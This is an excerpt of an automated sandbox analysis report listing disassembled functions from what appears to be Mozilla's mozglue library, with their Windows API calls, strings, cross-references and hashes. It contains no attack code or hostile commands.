Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$TLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyP$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1919330850
Opcode ID: dbb3b69a04d745d5bcd3bfb39f8cc692a81ab5d7a35fdd44501bb3f22f39e6c7
Instruction ID: 47890215c5e25beab432c86cab3da43863b3461c2277e595da10cbcfa892607c
Opcode Fuzzy Hash: dbb3b69a04d745d5bcd3bfb39f8cc692a81ab5d7a35fdd44501bb3f22f39e6c7
Instruction Fuzzy Hash: D45161C5B4627512FA04F1156D20FAA1E09EB5324BF14453AED1AA1FB0FB09E70B86F7

Function 6C464470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C464730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4644B2,6C4DE21C,6C4DF7F8), ref: 6C46473E
Part of subcall function 6C464730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C46474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4644D2
InitOnceExecuteOnce.KERNEL32(6C4DF80C,6C45F240,?,?), ref: 6C46451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C46455C
LoadLibraryW.KERNEL32(?), ref: 6C464592
InitializeCriticalSection.KERNEL32(6C4DF770), ref: 6C4645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4645BB
InitOnceExecuteOnce.KERNEL32(6C4DF818,6C45F240,?,?), ref: 6C464612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C464636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C464644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C46466D
VerSetConditionMask.NTDLL ref: 6C46469F
VerSetConditionMask.NTDLL ref: 6C4646AB
VerSetConditionMask.NTDLL ref: 6C4646B2
VerSetConditionMask.NTDLL ref: 6C4646B9
VerSetConditionMask.NTDLL ref: 6C4646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4646FD

Strings

NativeNtBlockSet_Write, xrefs: 6C4646F7
l, xrefs: 6C464578
kernel32.dll, xrefs: 6C4644CD
WRusr.dll, xrefs: 6C4644B5
GMl, xrefs: 6C4644FC
user32.dll, xrefs: 6C464557, 6C46463F

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GMl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2381000077
Opcode ID: 544dc8fed64871669112ce88b27a0b38c82f48ab076222727f1c91288146361d
Instruction ID: 61e59f80f81f8a223958c4497f784b29367333f04f3977ec516e7a5e63f9e68d
Opcode Fuzzy Hash: 544dc8fed64871669112ce88b27a0b38c82f48ab076222727f1c91288146361d
Instruction Fuzzy Hash: 226104B0A01344AFFF20FF61C859F95BBB8EB42349F04C459E9049BA51D771AA84CFA1

Function 6C4AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD52A
GetCurrentThreadId.KERNEL32 ref: 6C4AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD55F
free.MOZGLUE(00000000), ref: 6C4AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C4AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C4AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD652
GetCurrentThreadId.KERNEL32 ref: 6C4AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD6A2

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 52a58a66c9bf4d0294ea9dc700faaa5af7be3c05970922cb916a5fa71e6c4654
Instruction ID: 5c5da4fd267d458c58a0c4b768c3f8d25194e0567713e4e4ebfe7f8d58b14ee2
Opcode Fuzzy Hash: 52a58a66c9bf4d0294ea9dc700faaa5af7be3c05970922cb916a5fa71e6c4654
Instruction Fuzzy Hash: 53514AB1604705DFC704EF65C888A9ABBB5FF89318F108A2EE95A87711DB30E945CB91

Function 6C49EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49EC8C

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

GetCurrentThreadId.KERNEL32 ref: 6C49ECA1
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C49ECC5
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C49ED19
CloseHandle.KERNEL32(?), ref: 6C49ED28
free.MOZGLUE(00000000), ref: 6C49ED2F
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C49EC94

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6df723ee2a113c64ec1c0f66b56970cf77c0df65295368df4b102dc29af3da47
Instruction ID: 444115c19cea190029eb5dd641840e4b772fb9db54c4082f25d3d843272a7c33
Opcode Fuzzy Hash: 6df723ee2a113c64ec1c0f66b56970cf77c0df65295368df4b102dc29af3da47
Instruction Fuzzy Hash: C321BF75600125ABEB00FF24DC48F9A3B7AFB5626EF144218F91897741DB31A806CBE1

Function 6C47C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C47C5A3
WideCharToMultiByte.KERNEL32 ref: 6C47C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C47C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C47CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C47CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C47CAA5

Strings

0, xrefs: 6C47D30A
(null), xrefs: 6C47C596

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 8a83a32dc44d0f4068422d9ede4bbbcad783a3291dae7cb633fa91c1d0ddf94d
Instruction ID: 023e4248876c9de895765a330557cb7dc0925a1c9d79441ab0392aee5d30fdc3
Opcode Fuzzy Hash: 8a83a32dc44d0f4068422d9ede4bbbcad783a3291dae7cb633fa91c1d0ddf94d
Instruction Fuzzy Hash: 46A17F306083419FDB20EF28C584F9ABBF5AF89759F04892DE899D7751D731E805CBA2

Function 6C453480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C453492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C4534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C4534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C45350E
__Init_thread_footer.LIBCMT ref: 6C453522
__aulldiv.LIBCMT ref: 6C453552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C45357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C453592

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C453508
kernel32.dll, xrefs: 6C4534EA

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 403d24ae5a9db7d7c1afd6c55ed0e8b0d3d47ae539887eed24f0c3b523e8301f
Instruction ID: 160f7b39dcb085eddc03c19d4cf1d065d2c96e00667a2f80e4218319c1f23d14
Opcode Fuzzy Hash: 403d24ae5a9db7d7c1afd6c55ed0e8b0d3d47ae539887eed24f0c3b523e8301f
Instruction Fuzzy Hash: E5318F71B0120A9BEF10FFB9C848EAA7BB5FB46315F104419E50193B50EA70B905CB60

Function 6C454480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C494843,?), ref: 6C4545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C494843,?), ref: 6C45468A
free.MOZGLUE(?,?,?,?,?,?,6C494843,?), ref: 6C4546C9
free.MOZGLUE(?), ref: 6C4546EF
free.MOZGLUE(?), ref: 6C454712
free.MOZGLUE(?), ref: 6C454735
free.MOZGLUE(?), ref: 6C454758
free.MOZGLUE(?), ref: 6C45477B
free.MOZGLUE(?), ref: 6C45479E

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 2141246b4a9a9d30454759b69687fedb9b2af5cd347aafb1ab122e7c1cef1b9e
Instruction ID: ee25caa01a9d71f0fdcf1ba746703ce33a0e6da15a5ad3a0337082c9e3495d27
Opcode Fuzzy Hash: 2141246b4a9a9d30454759b69687fedb9b2af5cd347aafb1ab122e7c1cef1b9e
Instruction Fuzzy Hash: A2B1F175A001508FDB18DF3CD890F6D76A2AF423A8F98162CE816DFBC6D73099748B91

Function 6C4BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C4BAC52
CreateFileMappingW.KERNEL32 ref: 6C4BAC7D
GetSystemInfo.KERNEL32 ref: 6C4BAC98
MapViewOfFile.KERNEL32 ref: 6C4BACB0
GetSystemInfo.KERNEL32 ref: 6C4BACCD
MapViewOfFile.KERNEL32 ref: 6C4BAD05
UnmapViewOfFile.KERNEL32 ref: 6C4BAD1C
CloseHandle.KERNEL32 ref: 6C4BAD28
UnmapViewOfFile.KERNEL32 ref: 6C4BAD37
CloseHandle.KERNEL32 ref: 6C4BAD43
CloseHandle.KERNEL32 ref: 6C4BAD67

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 89d2f5d653dbab0c71776490656a902afe0dd62971ea945ae167c160286675fa
Instruction ID: 3bcf7069ed2c51d286f9f62f624b93ffa187902f5a242620ee8e8dc99018c120
Opcode Fuzzy Hash: 89d2f5d653dbab0c71776490656a902afe0dd62971ea945ae167c160286675fa
Instruction Fuzzy Hash: 28314CB1A047058FDB00FF7CD648A6EBBF1BF85705F014A2DE98597251EB70A548CB92

Function 6C48CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4531A7), ref: 6C48CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C48CFA4, 6C48CFB8
<jemalloc>, xrefs: 6C48CF9F, 6C48CFB3

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: e365c648f2c940849b07029c4251ce7748cdc321d7e83b6920ad2aae21bd89e8
Instruction ID: cfab52aef12ad8461e42ab2825c7651474b36079123b97920b6f3aecfa16afc8
Opcode Fuzzy Hash: e365c648f2c940849b07029c4251ce7748cdc321d7e83b6920ad2aae21bd89e8
Instruction Fuzzy Hash: 7F316F30B422159BFB10FFA58855FAE7A76AB41759F204219F614EBBC0DB70E5018BA1

Function 6C45ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C45F100: LoadLibraryW.KERNEL32(shell32,?,6C4CD020), ref: 6C45F122
Part of subcall function 6C45F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C45F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C45ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C45EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C45EDCC
CreateFileW.KERNEL32 ref: 6C45EE08
free.MOZGLUE(00000000), ref: 6C45EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C45EE32

Part of subcall function 6C45EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C45EBB5
Part of subcall function 6C45EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C48D7F3), ref: 6C45EBC3
Part of subcall function 6C45EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C48D7F3), ref: 6C45EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C45EDC1

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aade4b130d6865b050fd8ae3d1f1fd9f454708d16a956bb827a695585ac2f2d2
Instruction ID: 15730473de8258f6833f3cc725fb80f90f60a1c7de9a5ee7ac96a14d2f48e250
Opcode Fuzzy Hash: aade4b130d6865b050fd8ae3d1f1fd9f454708d16a956bb827a695585ac2f2d2
Instruction Fuzzy Hash: 2D51F471E053058BDB00EF68C880FEEB7B0AF59318F84842DE8556B740E738A959C7E2

Function 6C499420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
__Init_thread_footer.LIBCMT ref: 6C49949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C49947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C49946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C499459

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 3915fab92df5c955be73346d44076694c849c2fec4e0bc7e90ee30e61aa544f4
Instruction ID: b7f0841684ef9baf7f4d61fa0fec0d67e9a084fcac0979008227e37aeab27521
Opcode Fuzzy Hash: 3915fab92df5c955be73346d44076694c849c2fec4e0bc7e90ee30e61aa544f4
Instruction Fuzzy Hash: 35014C30A051008FE710FB9CD810E4937B99B1632AF05453BDD0E86B51D732F4658957

Function 6C4CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C4CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C4CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C4CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C4CB5F4
__Init_thread_footer.LIBCMT ref: 6C4CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C4CB61F
std::_Facet_Register.LIBCPMT ref: 6C4CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4CB655

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: d66804d9dc96082710e632bc36236e07d27352db5b6bceff339ff858280b64d6
Instruction ID: 83f1289427fc80dcfe537ad46c29268360a12e4be399bce96fbb5070dd9c2cfd
Opcode Fuzzy Hash: d66804d9dc96082710e632bc36236e07d27352db5b6bceff339ff858280b64d6
Instruction Fuzzy Hash: 1A31AF75B012048BDF10FFA9C898DAEB7B5EF8A325B150519D90297790DB34B806CBD2

Function 6C4984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4985AC

Part of subcall function 6C497670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49767F
Part of subcall function 6C497670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C497693
Part of subcall function 6C497670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C4985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4985B2

Part of subcall function 6C475E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C475EDB
Part of subcall function 6C475E90: memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C475F27
Part of subcall function 6C475E90: LeaveCriticalSection.KERNEL32(?), ref: 6C475FB2

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

